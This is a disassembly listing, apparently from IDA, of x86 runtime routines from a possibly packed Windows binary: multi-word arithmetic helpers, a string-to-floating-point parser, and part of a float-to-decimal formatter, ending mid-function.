sub_414B56	proc near		; CODE XREF: sub_4137FF+2Bp
					; sub_4137FF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_414B6C
		cmp	ecx, esi
		jnb	short loc_414B6F


loc_414B6C:				; CODE XREF: sub_414B56+10j
		push	1
		pop	eax


loc_414B6F:				; CODE XREF: sub_414B56+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_414B56	endp


; =============== S U B	R O U T	I N E =======================================



sub_414B77	proc near		; CODE XREF: sub_414C30+40p
					; sub_414C30+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_414B56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_414BA9
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_414B56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_414BA9
		inc	dword ptr [esi+8]


loc_414BA9:				; CODE XREF: sub_414B77+19j
					; sub_414B77+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_414B56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_414BC1
		inc	dword ptr [esi+8]


loc_414BC1:				; CODE XREF: sub_414B77+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_414B56
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_414B77	endp


; =============== S U B	R O U T	I N E =======================================



sub_414BD5	proc near		; CODE XREF: sub_414C30+30p
					; sub_414C30+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_414BD5	endp


; =============== S U B	R O U T	I N E =======================================



sub_414C03	proc near		; CODE XREF: sub_4151C8+1C8p
					; sub_415790+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_414C03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414C30	proc near		; CODE XREF: sub_414CF7+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_414CA4
		push	edi
		mov	[ebp+arg_8], eax


loc_414C57:				; CODE XREF: sub_414C30+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_414BD5
		push	ebx
		call	sub_414BD5
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_414B77
		push	ebx
		call	sub_414BD5
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_414B77
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_414C57
		xor	edx, edx
		pop	edi


loc_414CA4:				; CODE XREF: sub_414C30+21j
					; sub_414C30+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_414CD1
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_414CA4
; ---------------------------------------------------------------------------


loc_414CD1:				; CODE XREF: sub_414C30+77j
		mov	esi, 8000h


loc_414CD6:				; CODE XREF: sub_414C30+B9j
		test	[ebx+8], esi
		jnz	short loc_414CEB
		push	ebx
		call	sub_414BD5
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_414CD6
; ---------------------------------------------------------------------------


loc_414CEB:				; CODE XREF: sub_414C30+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_414C30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414CF7	proc near		; CODE XREF: sub_413B48+17p
					; sub_413B75+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_414D32:				; CODE XREF: sub_414CF7+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_414D48
		cmp	cl, 9
		jz	short loc_414D48
		cmp	cl, 0Ah
		jz	short loc_414D48
		cmp	cl, 0Dh
		jnz	short loc_414D4B


loc_414D48:				; CODE XREF: sub_414CF7+40j
					; sub_414CF7+45j ...
		inc	edi
		jmp	short loc_414D32
; ---------------------------------------------------------------------------


loc_414D4B:				; CODE XREF: sub_414CF7+4Fj
		push	4
		pop	esi


loc_414D4E:				; CODE XREF: sub_414CF7+AEj
					; sub_414CF7+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_414FD1	; default
					; jumptable 00414D5A case 10
		jmp	off_415198[eax*4] ; switch jump


loc_414D61:				; DATA XREF: .nsp0:off_415198o
		cmp	bl, 31h		; jumptable 00414D5A case 0
		jl	short loc_414D72
		cmp	bl, 39h
		jg	short loc_414D72


loc_414D6B:				; CODE XREF: sub_414CF7+C4j
					; sub_414CF7+118j
		push	3
		jmp	loc_414F8F
; ---------------------------------------------------------------------------


loc_414D72:				; CODE XREF: sub_414CF7+6Dj
					; sub_414CF7+72j
		cmp	bl, byte_41FF88
		jnz	short loc_414D81


loc_414D7A:				; CODE XREF: sub_414CF7+124j
		push	5
		jmp	loc_414FC7
; ---------------------------------------------------------------------------


loc_414D81:				; CODE XREF: sub_414CF7+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_414DA7
		dec	eax
		dec	eax
		jz	short loc_414D9B
		sub	eax, 3
		jnz	loc_41506A
		jmp	loc_414E2A
; ---------------------------------------------------------------------------


loc_414D9B:				; CODE XREF: sub_414CF7+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_414D4E
; ---------------------------------------------------------------------------


loc_414DA7:				; CODE XREF: sub_414CF7+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_414D4E
; ---------------------------------------------------------------------------


loc_414DB0:				; CODE XREF: sub_414CF7+63j
					; DATA XREF: .nsp0:off_415198o
		cmp	bl, 31h		; jumptable 00414D5A case 1
		mov	[ebp+var_10], edx
		jl	short loc_414DBD
		cmp	bl, 39h
		jle	short loc_414D6B


loc_414DBD:				; CODE XREF: sub_414CF7+BFj
		cmp	bl, byte_41FF88
		jz	loc_414E85
		cmp	bl, 2Bh
		jz	short loc_414DFF
		cmp	bl, 2Dh
		jz	short loc_414DFF
		cmp	bl, 30h
		jz	short loc_414E2A


loc_414DD8:				; CODE XREF: sub_414CF7+207j
		cmp	bl, 43h
		jle	loc_41506A
		cmp	bl, 45h
		jle	short loc_414DF8
		cmp	bl, 63h
		jle	loc_41506A
		cmp	bl, 65h
		jg	loc_41506A


loc_414DF8:				; CODE XREF: sub_414CF7+EDj
		push	6
		jmp	loc_414FC7
; ---------------------------------------------------------------------------


loc_414DFF:				; CODE XREF: sub_414CF7+D5j
					; sub_414CF7+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_414FC7
; ---------------------------------------------------------------------------


loc_414E07:				; CODE XREF: sub_414CF7+63j
					; DATA XREF: .nsp0:off_415198o
		cmp	bl, 31h		; jumptable 00414D5A case 2
		jl	short loc_414E15
		cmp	bl, 39h
		jle	loc_414D6B


loc_414E15:				; CODE XREF: sub_414CF7+113j
		cmp	bl, byte_41FF88
		jz	loc_414D7A
		cmp	bl, 30h
		jnz	loc_414FDF


loc_414E2A:				; CODE XREF: sub_414CF7+9Fj
					; sub_414CF7+DFj
		mov	eax, edx
		jmp	loc_414D4E
; ---------------------------------------------------------------------------


loc_414E31:				; CODE XREF: sub_414CF7+63j
					; DATA XREF: .nsp0:off_415198o
		mov	[ebp+var_10], edx ; jumptable 00414D5A case 3


loc_414E34:				; CODE XREF: sub_414CF7+184j
		cmp	dword_41FF84, edx
		jle	short loc_414E4D
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_4114D9
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_414E5B
; ---------------------------------------------------------------------------


loc_414E4D:				; CODE XREF: sub_414CF7+143j
		mov	ecx, off_41FD78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_414E5B:				; CODE XREF: sub_414CF7+154j
		test	eax, eax
		jz	short loc_414E7D
		cmp	[ebp+var_4], 19h
		jnb	short loc_414E75
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_414E78
; ---------------------------------------------------------------------------


loc_414E75:				; CODE XREF: sub_414CF7+16Cj
		inc	[ebp+var_8]


loc_414E78:				; CODE XREF: sub_414CF7+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_414E34
; ---------------------------------------------------------------------------


loc_414E7D:				; CODE XREF: sub_414CF7+166j
		cmp	bl, byte_41FF88
		jnz	short loc_414EEC


loc_414E85:				; CODE XREF: sub_414CF7+CCj
		mov	eax, esi
		jmp	loc_414D4E
; ---------------------------------------------------------------------------


loc_414E8C:				; CODE XREF: sub_414CF7+63j
					; DATA XREF: .nsp0:off_415198o
		cmp	[ebp+var_4], 0	; jumptable 00414D5A case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_414EA5


loc_414E98:				; CODE XREF: sub_414CF7+1ACj
		cmp	bl, 30h
		jnz	short loc_414EA5
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_414E98
; ---------------------------------------------------------------------------


loc_414EA5:				; CODE XREF: sub_414CF7+19Fj
					; sub_414CF7+1A4j ...
		cmp	dword_41FF84, edx
		jle	short loc_414EBE
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_4114D9
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_414ECC
; ---------------------------------------------------------------------------


loc_414EBE:				; CODE XREF: sub_414CF7+1B4j
		mov	ecx, off_41FD78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_414ECC:				; CODE XREF: sub_414CF7+1C5j
		test	eax, eax
		jz	short loc_414EEC
		cmp	[ebp+var_4], 19h
		jnb	short loc_414EE7
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_414EE7:				; CODE XREF: sub_414CF7+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_414EA5
; ---------------------------------------------------------------------------


loc_414EEC:				; CODE XREF: sub_414CF7+18Cj
					; sub_414CF7+1D7j
		cmp	bl, 2Bh
		jz	loc_414DFF
		cmp	bl, 2Dh
		jz	loc_414DFF
		jmp	loc_414DD8
; ---------------------------------------------------------------------------


loc_414F03:				; CODE XREF: sub_414CF7+63j
					; DATA XREF: .nsp0:off_415198o
		cmp	dword_41FF84, edx ; jumptable 00414D5A case 5
		mov	[ebp+var_24], edx
		jle	short loc_414F1F
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_4114D9
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_414F2D
; ---------------------------------------------------------------------------


loc_414F1F:				; CODE XREF: sub_414CF7+215j
		mov	ecx, off_41FD78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_414F2D:				; CODE XREF: sub_414CF7+226j
		test	eax, eax
		jz	loc_414FDF
		mov	eax, esi
		jmp	short loc_414F90
; ---------------------------------------------------------------------------


loc_414F39:				; CODE XREF: sub_414CF7+63j
					; DATA XREF: .nsp0:off_415198o
		lea	ecx, [edi-2]	; jumptable 00414D5A case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_414F49
		cmp	bl, 39h
		jle	short loc_414F8D


loc_414F49:				; CODE XREF: sub_414CF7+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_414FC5
		dec	eax
		dec	eax
		jz	short loc_414FB9
		sub	eax, 3
		jnz	loc_41506D


loc_414F5E:				; CODE XREF: sub_414CF7+2A4j
		push	8
		jmp	short loc_414FC7
; ---------------------------------------------------------------------------


loc_414F62:				; CODE XREF: sub_414CF7+63j
					; DATA XREF: .nsp0:off_415198o
		mov	[ebp+var_20], edx ; jumptable 00414D5A case 8


loc_414F65:				; CODE XREF: sub_414CF7+276j
		cmp	bl, 30h
		jnz	short loc_414F6F
		mov	bl, [edi]
		inc	edi
		jmp	short loc_414F65
; ---------------------------------------------------------------------------


loc_414F6F:				; CODE XREF: sub_414CF7+271j
		cmp	bl, 31h
		jl	loc_41506A
		cmp	bl, 39h
		jg	loc_41506A
		jmp	short loc_414F8D
; ---------------------------------------------------------------------------


loc_414F83:				; CODE XREF: sub_414CF7+63j
					; DATA XREF: .nsp0:off_415198o
		cmp	bl, 31h		; jumptable 00414D5A case 7
		jl	short loc_414F96
		cmp	bl, 39h
		jg	short loc_414F96


loc_414F8D:				; CODE XREF: sub_414CF7+250j
					; sub_414CF7+28Aj
		push	9


loc_414F8F:				; CODE XREF: sub_414CF7+76j
		pop	eax


loc_414F90:				; CODE XREF: sub_414CF7+240j
		dec	edi
		jmp	loc_414D4E
; ---------------------------------------------------------------------------


loc_414F96:				; CODE XREF: sub_414CF7+28Fj
					; sub_414CF7+294j
		cmp	bl, 30h
		jnz	short loc_414FDF
		jmp	short loc_414F5E
; ---------------------------------------------------------------------------


loc_414F9D:				; CODE XREF: sub_414CF7+63j
					; DATA XREF: .nsp0:off_415198o
		cmp	[ebp+arg_18], 0	; jumptable 00414D5A case 11
		jz	short loc_414FCD
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_414FC5
		dec	eax
		dec	eax
		jnz	loc_41506D


loc_414FB9:				; CODE XREF: sub_414CF7+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_414D4E
; ---------------------------------------------------------------------------


loc_414FC5:				; CODE XREF: sub_414CF7+258j
					; sub_414CF7+2B8j
		push	7


loc_414FC7:				; CODE XREF: sub_414CF7+85j
					; sub_414CF7+103j ...
		pop	eax
		jmp	loc_414D4E
; ---------------------------------------------------------------------------


loc_414FCD:				; CODE XREF: sub_414CF7+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_414FD1:				; CODE XREF: sub_414CF7+5Dj
					; sub_414CF7+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00414D5A case 10
		jz	loc_41506F
		jmp	loc_414D4E
; ---------------------------------------------------------------------------


loc_414FDF:				; CODE XREF: sub_414CF7+12Dj
					; sub_414CF7+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_41506F
; ---------------------------------------------------------------------------


loc_414FE7:				; CODE XREF: sub_414CF7+63j
					; DATA XREF: .nsp0:off_415198o
		mov	[ebp+var_20], 1	; jumptable 00414D5A case 9
		xor	esi, esi


loc_414FF0:				; CODE XREF: sub_414CF7+339j
		cmp	dword_41FF84, 1
		jle	short loc_415008
		movzx	eax, bl
		push	4
		push	eax
		call	sub_4114D9
		pop	ecx
		pop	ecx
		jmp	short loc_415017
; ---------------------------------------------------------------------------


loc_415008:				; CODE XREF: sub_414CF7+300j
		mov	ecx, off_41FD78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_415017:				; CODE XREF: sub_414CF7+30Fj
		test	eax, eax
		jz	short loc_415037
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_415032
		mov	bl, [edi]
		inc	edi
		jmp	short loc_414FF0
; ---------------------------------------------------------------------------


loc_415032:				; CODE XREF: sub_414CF7+334j
		mov	esi, 1451h


loc_415037:				; CODE XREF: sub_414CF7+322j
		mov	[ebp+var_1C], esi


loc_41503A:				; CODE XREF: sub_414CF7+371j
		cmp	dword_41FF84, 1
		jle	short loc_415052
		movzx	eax, bl
		push	4
		push	eax
		call	sub_4114D9
		pop	ecx
		pop	ecx
		jmp	short loc_415061
; ---------------------------------------------------------------------------


loc_415052:				; CODE XREF: sub_414CF7+34Aj
		mov	ecx, off_41FD78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_415061:				; CODE XREF: sub_414CF7+359j
		test	eax, eax
		jz	short loc_41506A
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41503A
; ---------------------------------------------------------------------------


loc_41506A:				; CODE XREF: sub_414CF7+99j
					; sub_414CF7+E4j ...
		dec	edi
		jmp	short loc_41506F
; ---------------------------------------------------------------------------


loc_41506D:				; CODE XREF: sub_414CF7+261j
					; sub_414CF7+2BCj
		mov	edi, ecx


loc_41506F:				; CODE XREF: sub_414CF7+2DDj
					; sub_414CF7+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_415157
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_41509B
		cmp	[ebp+var_45], 5
		jl	short loc_41508F
		inc	[ebp+var_45]


loc_41508F:				; CODE XREF: sub_414CF7+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_41509E
; ---------------------------------------------------------------------------


loc_41509B:				; CODE XREF: sub_414CF7+38Dj
		mov	eax, [ebp+var_C]


loc_41509E:				; CODE XREF: sub_414CF7+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_41514D


loc_4150A8:				; CODE XREF: sub_414CF7+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4150B6
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4150A8
; ---------------------------------------------------------------------------


loc_4150B6:				; CODE XREF: sub_414CF7+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_414C30
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4150D5
		neg	eax


loc_4150D5:				; CODE XREF: sub_414CF7+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4150E0
		add	eax, [ebp+arg_10]


loc_4150E0:				; CODE XREF: sub_414CF7+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4150E8
		sub	eax, [ebp+arg_14]


loc_4150E8:				; CODE XREF: sub_414CF7+3ECj
		cmp	eax, 1450h
		jle	short loc_41511F
		mov	[ebp+var_2C], 1


loc_4150F6:				; CODE XREF: sub_414CF7+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_415102:				; CODE XREF: sub_414CF7+454j
					; sub_414CF7+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_415168
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_41517D
; ---------------------------------------------------------------------------


loc_41511F:				; CODE XREF: sub_414CF7+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_41512F
		mov	[ebp+var_30], 1
		jmp	short loc_4150F6
; ---------------------------------------------------------------------------


loc_41512F:				; CODE XREF: sub_414CF7+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_4159B0
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_415102
; ---------------------------------------------------------------------------


loc_41514D:				; CODE XREF: sub_414CF7+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_415102
; ---------------------------------------------------------------------------


loc_415157:				; CODE XREF: sub_414CF7+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_41517D
; ---------------------------------------------------------------------------


loc_415168:				; CODE XREF: sub_414CF7+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_41517D
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_41517D:				; CODE XREF: sub_414CF7+426j
					; sub_414CF7+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_414CF7	endp

; ---------------------------------------------------------------------------
off_415198	dd offset loc_414D61	; DATA XREF: sub_414CF7+63r
		dd offset loc_414DB0	; jump table for switch	statement
		dd offset loc_414E07
		dd offset loc_414E31
		dd offset loc_414E8C
		dd offset loc_414F03
		dd offset loc_414F39
		dd offset loc_414F83
		dd offset loc_414F62
		dd offset loc_414FE7
		dd offset loc_414FD1
		dd offset loc_414F9D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151C8	proc near		; CODE XREF: sub_413C19+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_41522A
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41522E
; ---------------------------------------------------------------------------


loc_41522A:				; CODE XREF: sub_4151C8+5Aj
		mov	byte ptr [ebx+2], 20h


loc_41522E:				; CODE XREF: sub_4151C8+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_415254
		test	edi, edi
		jnz	short loc_415254
		cmp	[ebp+arg_0], edi
		jnz	short loc_415254


loc_41523F:				; CODE XREF: sub_4151C8+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_415452
; ---------------------------------------------------------------------------


loc_415254:				; CODE XREF: sub_4151C8+6Cj
					; sub_4151C8+70j ...
		cmp	dx, si
		jnz	short loc_4152D3
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_41526D
		cmp	[ebp+arg_0], 0
		jz	short loc_41527C


loc_41526D:				; CODE XREF: sub_4151C8+9Dj
		test	edi, 40000000h
		jnz	short loc_41527C
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4152C2
; ---------------------------------------------------------------------------


loc_41527C:				; CODE XREF: sub_4151C8+A3j
					; sub_4151C8+ABj
		test	cx, cx
		jz	short loc_415296
		cmp	edi, 0C0000000h
		jnz	short loc_415296
		cmp	[ebp+arg_0], 0
		jnz	short loc_4152BD
		push	offset a1Ind	; "1#IND"
		jmp	short loc_4152A5
; ---------------------------------------------------------------------------


loc_415296:				; CODE XREF: sub_4151C8+B7j
					; sub_4151C8+BFj
		cmp	edi, eax
		jnz	short loc_4152BD
		cmp	[ebp+arg_0], 0
		jnz	short loc_4152BD
		push	offset a1Inf	; "1#INF"


loc_4152A5:				; CODE XREF: sub_4151C8+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_40CD70
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_4152B4:				; CODE XREF: sub_4151C8+109j
		and	[ebp+var_4], 0
		jmp	loc_41542B
; ---------------------------------------------------------------------------


loc_4152BD:				; CODE XREF: sub_4151C8+C5j
					; sub_4151C8+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_4152C2:				; CODE XREF: sub_4151C8+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_40CD70
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4152B4
; ---------------------------------------------------------------------------


loc_4152D3:				; CODE XREF: sub_4151C8+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4159B0
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_415334
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_415790
		pop	ecx
		pop	ecx


loc_415334:				; CODE XREF: sub_4151C8+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_41534E
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_415351
		jmp	loc_41523F
; ---------------------------------------------------------------------------


loc_41534E:				; CODE XREF: sub_4151C8+173j
		mov	edi, [ebp+arg_C]


loc_415351:				; CODE XREF: sub_4151C8+17Fj
